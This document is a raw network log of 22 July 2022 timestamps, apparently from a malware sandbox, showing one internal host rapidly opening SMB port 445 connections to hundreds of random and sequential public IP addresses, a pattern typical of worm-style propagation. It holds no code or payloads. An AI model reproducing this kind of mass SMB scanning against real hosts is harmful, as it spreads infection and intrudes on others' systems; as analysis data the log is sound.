Jul 20, 2022 13:27:23.745616913 CEST	59754	445	192.168.2.7	186.225.246.98
Jul 20, 2022 13:27:23.746911049 CEST	59756	445	192.168.2.7	177.120.158.199
Jul 20, 2022 13:27:23.748195887 CEST	59758	445	192.168.2.7	57.171.16.105
Jul 20, 2022 13:27:23.789428949 CEST	59768	445	192.168.2.7	84.172.182.158
Jul 20, 2022 13:27:23.789489985 CEST	59769	445	192.168.2.7	207.29.46.93
Jul 20, 2022 13:27:23.789628029 CEST	59766	445	192.168.2.7	11.33.230.201
Jul 20, 2022 13:27:23.789680958 CEST	59775	445	192.168.2.7	17.246.109.244
Jul 20, 2022 13:27:23.789730072 CEST	59777	445	192.168.2.7	193.117.14.221
Jul 20, 2022 13:27:23.789742947 CEST	59776	445	192.168.2.7	73.76.111.137
Jul 20, 2022 13:27:23.789783955 CEST	59778	445	192.168.2.7	40.51.228.92
Jul 20, 2022 13:27:23.789835930 CEST	59779	445	192.168.2.7	42.67.194.225
Jul 20, 2022 13:27:23.789947033 CEST	59783	445	192.168.2.7	5.115.178.226
Jul 20, 2022 13:27:23.790026903 CEST	59786	445	192.168.2.7	185.66.57.12
Jul 20, 2022 13:27:23.790129900 CEST	59782	445	192.168.2.7	74.150.145.26
Jul 20, 2022 13:27:23.790131092 CEST	59789	445	192.168.2.7	204.28.166.210
Jul 20, 2022 13:27:23.790565968 CEST	59804	445	192.168.2.7	193.28.133.55
Jul 20, 2022 13:27:23.790595055 CEST	59805	445	192.168.2.7	139.170.55.216
Jul 20, 2022 13:27:23.790699959 CEST	59808	445	192.168.2.7	53.35.39.24
Jul 20, 2022 13:27:23.790744066 CEST	59809	445	192.168.2.7	98.125.159.36
Jul 20, 2022 13:27:23.946264029 CEST	59815	445	192.168.2.7	5.240.140.131
Jul 20, 2022 13:27:23.965728998 CEST	59816	445	192.168.2.7	94.27.140.78
Jul 20, 2022 13:27:23.966470957 CEST	59817	445	192.168.2.7	185.15.42.139
Jul 20, 2022 13:27:23.976433039 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:23.976433992 CEST	59717	445	192.168.2.7	177.214.54.35
Jul 20, 2022 13:27:24.258151054 CEST	59820	445	192.168.2.7	79.205.51.146
Jul 20, 2022 13:27:24.258187056 CEST	59821	445	192.168.2.7	215.251.229.74
Jul 20, 2022 13:27:24.289982080 CEST	445	59717	177.214.54.35	192.168.2.7
Jul 20, 2022 13:27:24.476558924 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:24.742238045 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:24.821962118 CEST	59829	445	192.168.2.7	202.235.75.233
Jul 20, 2022 13:27:24.822805882 CEST	59830	445	192.168.2.7	115.223.228.203
Jul 20, 2022 13:27:24.823515892 CEST	59831	445	192.168.2.7	200.138.204.87
Jul 20, 2022 13:27:24.824224949 CEST	59832	445	192.168.2.7	98.20.105.28
Jul 20, 2022 13:27:24.834019899 CEST	59847	445	192.168.2.7	79.98.58.33
Jul 20, 2022 13:27:24.866766930 CEST	59851	445	192.168.2.7	216.114.32.179
Jul 20, 2022 13:27:24.868154049 CEST	59853	445	192.168.2.7	30.68.83.102
Jul 20, 2022 13:27:24.869116068 CEST	59855	445	192.168.2.7	125.50.99.38
Jul 20, 2022 13:27:24.916734934 CEST	59871	445	192.168.2.7	91.105.71.169
Jul 20, 2022 13:27:24.917454958 CEST	59872	445	192.168.2.7	107.133.203.90
Jul 20, 2022 13:27:24.919832945 CEST	59877	445	192.168.2.7	181.34.214.231
Jul 20, 2022 13:27:24.920799017 CEST	59879	445	192.168.2.7	166.235.238.96
Jul 20, 2022 13:27:24.921243906 CEST	59880	445	192.168.2.7	101.207.101.34
Jul 20, 2022 13:27:24.921724081 CEST	59881	445	192.168.2.7	34.93.31.205
Jul 20, 2022 13:27:24.922171116 CEST	59882	445	192.168.2.7	193.173.234.168
Jul 20, 2022 13:27:24.945951939 CEST	59883	445	192.168.2.7	210.205.122.45
Jul 20, 2022 13:27:24.956167936 CEST	59887	445	192.168.2.7	21.88.19.79
Jul 20, 2022 13:27:24.956331015 CEST	59886	445	192.168.2.7	106.241.231.1
Jul 20, 2022 13:27:24.956366062 CEST	59890	445	192.168.2.7	148.69.128.147
Jul 20, 2022 13:27:24.956419945 CEST	59893	445	192.168.2.7	6.149.159.43
Jul 20, 2022 13:27:24.956866980 CEST	59908	445	192.168.2.7	211.49.94.171
Jul 20, 2022 13:27:24.956907034 CEST	59909	445	192.168.2.7	172.65.175.19
Jul 20, 2022 13:27:24.957039118 CEST	59913	445	192.168.2.7	100.21.165.19
Jul 20, 2022 13:27:24.957072020 CEST	59912	445	192.168.2.7	43.246.96.229
Jul 20, 2022 13:27:24.975002050 CEST	445	59909	172.65.175.19	192.168.2.7
Jul 20, 2022 13:27:24.975200891 CEST	59909	445	192.168.2.7	172.65.175.19
Jul 20, 2022 13:27:24.975393057 CEST	59909	445	192.168.2.7	172.65.175.19
Jul 20, 2022 13:27:24.976274967 CEST	59918	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:24.994365931 CEST	445	59909	172.65.175.19	192.168.2.7
Jul 20, 2022 13:27:24.994388103 CEST	445	59909	172.65.175.19	192.168.2.7
Jul 20, 2022 13:27:24.995189905 CEST	445	59918	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:24.995309114 CEST	59918	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:24.995466948 CEST	59918	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:24.998028040 CEST	59919	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:25.014147997 CEST	445	59918	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:25.014642954 CEST	445	59918	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:25.016196966 CEST	445	59919	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:25.016360044 CEST	59919	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:25.016563892 CEST	59919	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:25.024633884 CEST	59920	445	192.168.2.7	5.240.140.132
Jul 20, 2022 13:27:25.033613920 CEST	445	59919	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:25.033648014 CEST	445	59919	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:25.047064066 CEST	59922	445	192.168.2.7	185.15.42.140
Jul 20, 2022 13:27:25.047060966 CEST	59921	445	192.168.2.7	94.27.140.79
Jul 20, 2022 13:27:25.179646015 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:25.179668903 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:25.384213924 CEST	59926	445	192.168.2.7	220.41.84.76
Jul 20, 2022 13:27:25.385787010 CEST	59927	445	192.168.2.7	25.102.208.6
Jul 20, 2022 13:27:25.687510967 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:25.973038912 CEST	59936	445	192.168.2.7	94.250.238.214
Jul 20, 2022 13:27:25.973103046 CEST	59937	445	192.168.2.7	200.153.130.230
Jul 20, 2022 13:27:25.973196030 CEST	59938	445	192.168.2.7	131.247.234.143
Jul 20, 2022 13:27:25.973222971 CEST	59939	445	192.168.2.7	94.89.118.197
Jul 20, 2022 13:27:25.973969936 CEST	59954	445	192.168.2.7	16.192.174.97
Jul 20, 2022 13:27:26.032099962 CEST	59958	445	192.168.2.7	177.35.115.103
Jul 20, 2022 13:27:26.032421112 CEST	59959	445	192.168.2.7	136.31.182.96
Jul 20, 2022 13:27:26.033667088 CEST	59961	445	192.168.2.7	165.193.235.167
Jul 20, 2022 13:27:26.061280012 CEST	59979	445	192.168.2.7	21.181.16.215
Jul 20, 2022 13:27:26.061515093 CEST	59984	445	192.168.2.7	54.177.186.73
Jul 20, 2022 13:27:26.061513901 CEST	59978	445	192.168.2.7	18.150.71.171
Jul 20, 2022 13:27:26.061549902 CEST	59985	445	192.168.2.7	182.244.79.231
Jul 20, 2022 13:27:26.061614037 CEST	59986	445	192.168.2.7	134.28.67.71
Jul 20, 2022 13:27:26.061626911 CEST	59987	445	192.168.2.7	103.6.207.161
Jul 20, 2022 13:27:26.061706066 CEST	59989	445	192.168.2.7	4.134.102.75
Jul 20, 2022 13:27:26.072349072 CEST	59991	445	192.168.2.7	132.144.25.208
Jul 20, 2022 13:27:26.081496954 CEST	59994	445	192.168.2.7	211.42.238.170
Jul 20, 2022 13:27:26.085419893 CEST	59995	445	192.168.2.7	114.193.111.154
Jul 20, 2022 13:27:26.086244106 CEST	59999	445	192.168.2.7	3.19.53.183
Jul 20, 2022 13:27:26.086483955 CEST	60003	445	192.168.2.7	109.246.40.35
Jul 20, 2022 13:27:26.086961985 CEST	60016	445	192.168.2.7	95.44.194.152
Jul 20, 2022 13:27:26.087101936 CEST	60019	445	192.168.2.7	31.141.35.158
Jul 20, 2022 13:27:26.087183952 CEST	60020	445	192.168.2.7	65.30.110.110
Jul 20, 2022 13:27:26.108304024 CEST	60024	445	192.168.2.7	5.240.140.133
Jul 20, 2022 13:27:26.118494987 CEST	60025	445	192.168.2.7	94.27.140.80
Jul 20, 2022 13:27:26.119115114 CEST	60026	445	192.168.2.7	185.15.42.141
Jul 20, 2022 13:27:26.242626905 CEST	445	59987	103.6.207.161	192.168.2.7
Jul 20, 2022 13:27:26.494589090 CEST	60029	445	192.168.2.7	16.120.240.18
Jul 20, 2022 13:27:26.494721889 CEST	60032	445	192.168.2.7	75.214.60.158
Jul 20, 2022 13:27:26.929811001 CEST	59987	445	192.168.2.7	103.6.207.161
Jul 20, 2022 13:27:27.087291002 CEST	60040	445	192.168.2.7	47.215.69.63
Jul 20, 2022 13:27:27.087954998 CEST	60041	445	192.168.2.7	209.33.125.138
Jul 20, 2022 13:27:27.088789940 CEST	60042	445	192.168.2.7	16.253.206.5
Jul 20, 2022 13:27:27.089565039 CEST	60043	445	192.168.2.7	50.191.189.54
Jul 20, 2022 13:27:27.108510017 CEST	445	59987	103.6.207.161	192.168.2.7
Jul 20, 2022 13:27:27.129575014 CEST	60058	445	192.168.2.7	143.51.79.120
Jul 20, 2022 13:27:27.153737068 CEST	60062	445	192.168.2.7	146.140.94.50
Jul 20, 2022 13:27:27.153882980 CEST	60063	445	192.168.2.7	16.190.138.150
Jul 20, 2022 13:27:27.153940916 CEST	60064	445	192.168.2.7	93.46.145.170
Jul 20, 2022 13:27:27.187315941 CEST	60079	445	192.168.2.7	5.240.140.134
Jul 20, 2022 13:27:27.187418938 CEST	60080	445	192.168.2.7	206.91.177.243
Jul 20, 2022 13:27:27.187459946 CEST	60081	445	192.168.2.7	138.235.216.69
Jul 20, 2022 13:27:27.187679052 CEST	60083	445	192.168.2.7	222.219.235.91
Jul 20, 2022 13:27:27.187776089 CEST	60084	445	192.168.2.7	80.162.11.251
Jul 20, 2022 13:27:27.187788010 CEST	60085	445	192.168.2.7	3.187.29.143
Jul 20, 2022 13:27:27.187952995 CEST	60089	445	192.168.2.7	214.96.114.163
Jul 20, 2022 13:27:27.188025951 CEST	60091	445	192.168.2.7	25.106.139.63
Jul 20, 2022 13:27:27.197004080 CEST	60095	445	192.168.2.7	20.26.165.196
Jul 20, 2022 13:27:27.200720072 CEST	60099	445	192.168.2.7	94.202.99.133
Jul 20, 2022 13:27:27.201745987 CEST	60100	445	192.168.2.7	185.15.42.142
Jul 20, 2022 13:27:27.202748060 CEST	60101	445	192.168.2.7	94.27.140.81
Jul 20, 2022 13:27:27.214442015 CEST	60105	445	192.168.2.7	204.176.211.254
Jul 20, 2022 13:27:27.215285063 CEST	60106	445	192.168.2.7	73.138.104.76
Jul 20, 2022 13:27:27.217350960 CEST	60109	445	192.168.2.7	189.22.251.54
Jul 20, 2022 13:27:27.226567984 CEST	60122	445	192.168.2.7	4.37.26.200
Jul 20, 2022 13:27:27.229809999 CEST	60126	445	192.168.2.7	48.64.183.185
Jul 20, 2022 13:27:27.236227989 CEST	60130	445	192.168.2.7	95.41.219.184
Jul 20, 2022 13:27:27.383867025 CEST	60132	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:27.620587111 CEST	60134	445	192.168.2.7	57.217.153.243
Jul 20, 2022 13:27:27.623790979 CEST	60136	445	192.168.2.7	46.162.220.10
Jul 20, 2022 13:27:27.679889917 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:28.040395021 CEST	60142	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:28.057060003 CEST	445	60142	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:28.057216883 CEST	60142	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:28.057359934 CEST	60142	445	192.168.2.7	172.65.175.1
Jul 20, 2022 13:27:28.073776960 CEST	445	60142	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:28.074383974 CEST	445	60142	172.65.175.1	192.168.2.7
Jul 20, 2022 13:27:28.135574102 CEST	60145	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:28.152614117 CEST	445	60145	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:28.152842999 CEST	60145	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:28.155379057 CEST	60145	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:28.169951916 CEST	445	60145	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:28.173242092 CEST	445	60145	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:28.179960012 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:28.213871956 CEST	60148	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:28.230508089 CEST	445	60148	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:28.230695009 CEST	60148	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:28.237040043 CEST	60148	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:28.247817039 CEST	445	60148	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:28.251794100 CEST	60157	445	192.168.2.7	25.230.237.245
Jul 20, 2022 13:27:28.251887083 CEST	60158	445	192.168.2.7	10.188.52.81
Jul 20, 2022 13:27:28.251889944 CEST	60156	445	192.168.2.7	143.236.11.50
Jul 20, 2022 13:27:28.251941919 CEST	60159	445	192.168.2.7	198.136.71.128
Jul 20, 2022 13:27:28.253518105 CEST	445	60148	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:28.253577948 CEST	60160	445	192.168.2.7	180.157.131.153
Jul 20, 2022 13:27:28.259089947 CEST	60171	445	192.168.2.7	18.219.190.74
Jul 20, 2022 13:27:28.259795904 CEST	60172	445	192.168.2.7	39.154.206.213
Jul 20, 2022 13:27:28.260513067 CEST	60173	445	192.168.2.7	33.111.222.118
Jul 20, 2022 13:27:28.265526056 CEST	60183	445	192.168.2.7	5.240.140.135
Jul 20, 2022 13:27:28.274486065 CEST	60184	445	192.168.2.7	94.27.140.82
Jul 20, 2022 13:27:28.275223970 CEST	60185	445	192.168.2.7	185.15.42.143
Jul 20, 2022 13:27:28.306173086 CEST	60191	445	192.168.2.7	155.152.184.151
Jul 20, 2022 13:27:28.307187080 CEST	60192	445	192.168.2.7	165.108.43.210
Jul 20, 2022 13:27:28.307874918 CEST	60193	445	192.168.2.7	10.70.247.110
Jul 20, 2022 13:27:28.309196949 CEST	60195	445	192.168.2.7	28.19.209.21
Jul 20, 2022 13:27:28.310524940 CEST	60197	445	192.168.2.7	110.159.34.95
Jul 20, 2022 13:27:28.312390089 CEST	60200	445	192.168.2.7	122.20.118.79
Jul 20, 2022 13:27:28.314259052 CEST	60203	445	192.168.2.7	40.3.254.147
Jul 20, 2022 13:27:28.331389904 CEST	60207	445	192.168.2.7	150.129.15.241
Jul 20, 2022 13:27:28.331449986 CEST	60210	445	192.168.2.7	215.212.130.179
Jul 20, 2022 13:27:28.364871979 CEST	60222	445	192.168.2.7	67.139.81.67
Jul 20, 2022 13:27:28.364999056 CEST	60226	445	192.168.2.7	113.93.96.187
Jul 20, 2022 13:27:28.365004063 CEST	60225	445	192.168.2.7	223.230.87.205
Jul 20, 2022 13:27:28.365204096 CEST	60231	445	192.168.2.7	140.124.236.75
Jul 20, 2022 13:27:28.365283012 CEST	60233	445	192.168.2.7	148.86.132.25
Jul 20, 2022 13:27:28.365407944 CEST	60237	445	192.168.2.7	66.88.41.7
Jul 20, 2022 13:27:28.744381905 CEST	60242	445	192.168.2.7	124.152.55.251
Jul 20, 2022 13:27:28.746357918 CEST	60244	445	192.168.2.7	183.206.215.195
Jul 20, 2022 13:27:29.337173939 CEST	60254	445	192.168.2.7	5.240.140.136
Jul 20, 2022 13:27:29.352817059 CEST	60255	445	192.168.2.7	94.27.140.83
Jul 20, 2022 13:27:29.353565931 CEST	60256	445	192.168.2.7	185.15.42.144
Jul 20, 2022 13:27:29.381208897 CEST	60266	445	192.168.2.7	66.214.86.49
Jul 20, 2022 13:27:29.381228924 CEST	60268	445	192.168.2.7	14.213.124.129
Jul 20, 2022 13:27:29.381288052 CEST	60269	445	192.168.2.7	89.93.15.85
Jul 20, 2022 13:27:29.381398916 CEST	60271	445	192.168.2.7	41.159.181.225
Jul 20, 2022 13:27:29.381429911 CEST	60270	445	192.168.2.7	211.74.74.136
Jul 20, 2022 13:27:29.390156984 CEST	60288	445	192.168.2.7	116.202.105.207
Jul 20, 2022 13:27:29.390232086 CEST	60289	445	192.168.2.7	215.153.61.21
Jul 20, 2022 13:27:29.390291929 CEST	60290	445	192.168.2.7	152.24.3.78
Jul 20, 2022 13:27:29.435750008 CEST	60296	445	192.168.2.7	221.199.47.183
Jul 20, 2022 13:27:29.439066887 CEST	60297	445	192.168.2.7	139.81.161.15
Jul 20, 2022 13:27:29.439338923 CEST	60298	445	192.168.2.7	50.83.73.39
Jul 20, 2022 13:27:29.439448118 CEST	60299	445	192.168.2.7	158.87.60.97
Jul 20, 2022 13:27:29.439646959 CEST	60305	445	192.168.2.7	2.116.214.18
Jul 20, 2022 13:27:29.439659119 CEST	60301	445	192.168.2.7	28.14.134.120
Jul 20, 2022 13:27:29.439721107 CEST	60307	445	192.168.2.7	180.196.102.214
Jul 20, 2022 13:27:29.447891951 CEST	60311	445	192.168.2.7	205.127.179.157
Jul 20, 2022 13:27:29.448038101 CEST	60315	445	192.168.2.7	98.220.224.118
Jul 20, 2022 13:27:29.486121893 CEST	60329	445	192.168.2.7	91.29.87.32
Jul 20, 2022 13:27:29.487349987 CEST	60331	445	192.168.2.7	131.36.103.114
Jul 20, 2022 13:27:29.488557100 CEST	60333	445	192.168.2.7	49.164.212.34
Jul 20, 2022 13:27:29.490442038 CEST	60336	445	192.168.2.7	175.165.221.11
Jul 20, 2022 13:27:29.493513107 CEST	60340	445	192.168.2.7	102.127.149.134
Jul 20, 2022 13:27:29.494777918 CEST	60342	445	192.168.2.7	135.208.194.81
Jul 20, 2022 13:27:29.742532015 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:29.869698048 CEST	60347	445	192.168.2.7	10.241.45.119
Jul 20, 2022 13:27:29.869785070 CEST	60349	445	192.168.2.7	163.227.220.46
Jul 20, 2022 13:27:30.078871012 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:30.399554968 CEST	60132	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:30.410315990 CEST	60358	445	192.168.2.7	5.240.140.137
Jul 20, 2022 13:27:30.415467024 CEST	60359	445	192.168.2.7	94.27.140.84
Jul 20, 2022 13:27:30.415575027 CEST	60360	445	192.168.2.7	185.15.42.145
Jul 20, 2022 13:27:30.498749018 CEST	60370	445	192.168.2.7	90.190.2.98
Jul 20, 2022 13:27:30.499419928 CEST	60371	445	192.168.2.7	142.154.246.55
Jul 20, 2022 13:27:30.500232935 CEST	60372	445	192.168.2.7	69.242.63.129
Jul 20, 2022 13:27:30.501100063 CEST	60373	445	192.168.2.7	196.87.124.237
Jul 20, 2022 13:27:30.502088070 CEST	60374	445	192.168.2.7	29.28.204.40
Jul 20, 2022 13:27:30.536680937 CEST	60393	445	192.168.2.7	92.233.49.5
Jul 20, 2022 13:27:30.536811113 CEST	60395	445	192.168.2.7	165.183.106.77
Jul 20, 2022 13:27:30.536890984 CEST	60396	445	192.168.2.7	153.154.248.8
Jul 20, 2022 13:27:30.560111046 CEST	60404	445	192.168.2.7	59.160.83.105
Jul 20, 2022 13:27:30.560122013 CEST	60406	445	192.168.2.7	129.27.208.214
Jul 20, 2022 13:27:30.563317060 CEST	60411	445	192.168.2.7	130.39.196.60
Jul 20, 2022 13:27:30.563440084 CEST	60412	445	192.168.2.7	77.20.67.8
Jul 20, 2022 13:27:30.563440084 CEST	60413	445	192.168.2.7	220.116.11.8
Jul 20, 2022 13:27:30.563535929 CEST	60415	445	192.168.2.7	162.92.236.129
Jul 20, 2022 13:27:30.563556910 CEST	60416	445	192.168.2.7	150.25.219.190
Jul 20, 2022 13:27:30.572761059 CEST	60418	445	192.168.2.7	49.79.33.38
Jul 20, 2022 13:27:30.573077917 CEST	60421	445	192.168.2.7	196.6.251.61
Jul 20, 2022 13:27:30.610663891 CEST	60435	445	192.168.2.7	54.141.118.214
Jul 20, 2022 13:27:30.611645937 CEST	60437	445	192.168.2.7	21.183.51.42
Jul 20, 2022 13:27:30.612878084 CEST	60439	445	192.168.2.7	146.83.184.138
Jul 20, 2022 13:27:30.615303040 CEST	60443	445	192.168.2.7	139.134.94.62
Jul 20, 2022 13:27:30.621237993 CEST	60448	445	192.168.2.7	154.242.71.48
Jul 20, 2022 13:27:30.622454882 CEST	60450	445	192.168.2.7	64.172.118.231
Jul 20, 2022 13:27:30.994275093 CEST	60454	445	192.168.2.7	168.160.219.198
Jul 20, 2022 13:27:31.005217075 CEST	60457	445	192.168.2.7	99.34.40.104
Jul 20, 2022 13:27:31.008936882 CEST	445	60396	153.154.248.8	192.168.2.7
Jul 20, 2022 13:27:31.259222031 CEST	60461	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:31.275795937 CEST	445	60461	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:31.275943041 CEST	60461	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:31.277400970 CEST	60461	445	192.168.2.7	172.65.175.2
Jul 20, 2022 13:27:31.293211937 CEST	445	60461	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:31.293735027 CEST	445	60461	172.65.175.2	192.168.2.7
Jul 20, 2022 13:27:31.352763891 CEST	60463	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:31.369339943 CEST	445	60463	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:31.369474888 CEST	60463	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:31.369700909 CEST	60463	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:31.386850119 CEST	445	60463	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:31.387073994 CEST	445	60463	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:31.388717890 CEST	60464	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:31.406088114 CEST	445	60464	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:31.406301022 CEST	60464	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:31.406470060 CEST	60464	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:31.423108101 CEST	445	60464	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:31.423643112 CEST	445	60464	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:31.479130983 CEST	60465	445	192.168.2.7	5.240.140.138
Jul 20, 2022 13:27:31.495666981 CEST	60466	445	192.168.2.7	185.15.42.146
Jul 20, 2022 13:27:31.496597052 CEST	60467	445	192.168.2.7	94.27.140.85
Jul 20, 2022 13:27:31.539588928 CEST	60396	445	192.168.2.7	153.154.248.8
Jul 20, 2022 13:27:31.541548967 CEST	445	60466	185.15.42.146	192.168.2.7
Jul 20, 2022 13:27:31.617506027 CEST	60473	445	192.168.2.7	64.104.227.254
Jul 20, 2022 13:27:31.618204117 CEST	60474	445	192.168.2.7	123.240.93.93
Jul 20, 2022 13:27:31.618289948 CEST	60476	445	192.168.2.7	24.2.38.101
Jul 20, 2022 13:27:31.618318081 CEST	60475	445	192.168.2.7	148.40.48.213
Jul 20, 2022 13:27:31.618357897 CEST	60477	445	192.168.2.7	180.74.137.233
Jul 20, 2022 13:27:31.747850895 CEST	60499	445	192.168.2.7	109.48.27.215
Jul 20, 2022 13:27:31.747850895 CEST	60498	445	192.168.2.7	188.226.114.142
Jul 20, 2022 13:27:31.747931004 CEST	60500	445	192.168.2.7	204.9.183.83
Jul 20, 2022 13:27:31.748337030 CEST	60513	445	192.168.2.7	169.214.148.34
Jul 20, 2022 13:27:31.748389006 CEST	60514	445	192.168.2.7	153.95.140.180
Jul 20, 2022 13:27:31.748544931 CEST	60519	445	192.168.2.7	194.97.215.219
Jul 20, 2022 13:27:31.748574018 CEST	60520	445	192.168.2.7	44.248.67.166
Jul 20, 2022 13:27:31.748636961 CEST	60521	445	192.168.2.7	41.72.10.111
Jul 20, 2022 13:27:31.749166012 CEST	60523	445	192.168.2.7	140.30.94.3
Jul 20, 2022 13:27:31.749185085 CEST	60524	445	192.168.2.7	220.152.237.86
Jul 20, 2022 13:27:31.749269962 CEST	60525	445	192.168.2.7	40.158.135.38
Jul 20, 2022 13:27:31.749392986 CEST	60528	445	192.168.2.7	72.101.45.53
Jul 20, 2022 13:27:31.756441116 CEST	60546	445	192.168.2.7	92.36.88.162
Jul 20, 2022 13:27:31.756448030 CEST	60544	445	192.168.2.7	46.20.96.225
Jul 20, 2022 13:27:31.756537914 CEST	60548	445	192.168.2.7	51.245.42.239
Jul 20, 2022 13:27:31.756695032 CEST	60553	445	192.168.2.7	115.119.173.137
Jul 20, 2022 13:27:31.760590076 CEST	60554	445	192.168.2.7	110.212.73.252
Jul 20, 2022 13:27:31.760737896 CEST	60556	445	192.168.2.7	146.77.41.254
Jul 20, 2022 13:27:31.869241953 CEST	445	60396	153.154.248.8	192.168.2.7
Jul 20, 2022 13:27:32.055224895 CEST	60466	445	192.168.2.7	185.15.42.146
Jul 20, 2022 13:27:32.101174116 CEST	445	60466	185.15.42.146	192.168.2.7
Jul 20, 2022 13:27:32.103518009 CEST	60564	445	192.168.2.7	200.163.132.105
Jul 20, 2022 13:27:32.105348110 CEST	60567	445	192.168.2.7	115.198.19.233
Jul 20, 2022 13:27:32.492757082 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:32.556233883 CEST	60572	445	192.168.2.7	5.240.140.139
Jul 20, 2022 13:27:32.571870089 CEST	60573	445	192.168.2.7	94.27.140.86
Jul 20, 2022 13:27:32.572339058 CEST	60574	445	192.168.2.7	185.15.42.147
Jul 20, 2022 13:27:32.744446039 CEST	60580	445	192.168.2.7	87.237.254.146
Jul 20, 2022 13:27:32.744951010 CEST	60581	445	192.168.2.7	197.142.174.30
Jul 20, 2022 13:27:32.745446920 CEST	60582	445	192.168.2.7	16.54.2.114
Jul 20, 2022 13:27:32.745919943 CEST	60583	445	192.168.2.7	125.30.121.247
Jul 20, 2022 13:27:32.746406078 CEST	60584	445	192.168.2.7	70.103.8.184
Jul 20, 2022 13:27:32.868614912 CEST	60597	445	192.168.2.7	162.85.216.139
Jul 20, 2022 13:27:32.869946957 CEST	60599	445	192.168.2.7	187.171.18.246
Jul 20, 2022 13:27:32.877044916 CEST	60610	445	192.168.2.7	86.132.94.234
Jul 20, 2022 13:27:32.878863096 CEST	60613	445	192.168.2.7	82.82.115.74
Jul 20, 2022 13:27:32.880100965 CEST	60615	445	192.168.2.7	46.13.193.80
Jul 20, 2022 13:27:32.882255077 CEST	60618	445	192.168.2.7	24.154.227.106
Jul 20, 2022 13:27:32.882895947 CEST	60619	445	192.168.2.7	206.92.206.63
Jul 20, 2022 13:27:32.883805990 CEST	60620	445	192.168.2.7	132.254.39.127
Jul 20, 2022 13:27:32.885162115 CEST	60622	445	192.168.2.7	210.123.183.70
Jul 20, 2022 13:27:32.885831118 CEST	60623	445	192.168.2.7	95.157.90.20
Jul 20, 2022 13:27:32.887710094 CEST	60626	445	192.168.2.7	88.240.248.126
Jul 20, 2022 13:27:32.898142099 CEST	60642	445	192.168.2.7	99.211.180.159
Jul 20, 2022 13:27:32.900057077 CEST	60644	445	192.168.2.7	62.160.213.33
Jul 20, 2022 13:27:32.905200005 CEST	60652	445	192.168.2.7	160.48.105.140
Jul 20, 2022 13:27:32.925250053 CEST	60656	445	192.168.2.7	35.18.239.70
Jul 20, 2022 13:27:32.925498009 CEST	60659	445	192.168.2.7	126.142.208.214
Jul 20, 2022 13:27:32.925570011 CEST	60661	445	192.168.2.7	197.188.30.90
Jul 20, 2022 13:27:32.925632000 CEST	60663	445	192.168.2.7	25.14.133.133
Jul 20, 2022 13:27:32.992762089 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:33.228677988 CEST	60670	445	192.168.2.7	76.88.163.245
Jul 20, 2022 13:27:33.230840921 CEST	60673	445	192.168.2.7	35.7.27.29
Jul 20, 2022 13:27:33.634408951 CEST	60679	445	192.168.2.7	5.240.140.140
Jul 20, 2022 13:27:33.650171995 CEST	60680	445	192.168.2.7	185.15.42.148
Jul 20, 2022 13:27:33.651165962 CEST	60681	445	192.168.2.7	94.27.140.87
Jul 20, 2022 13:27:33.868912935 CEST	60687	445	192.168.2.7	42.22.239.209
Jul 20, 2022 13:27:33.871078968 CEST	60689	445	192.168.2.7	58.173.83.36
Jul 20, 2022 13:27:33.872117043 CEST	60690	445	192.168.2.7	42.18.249.33
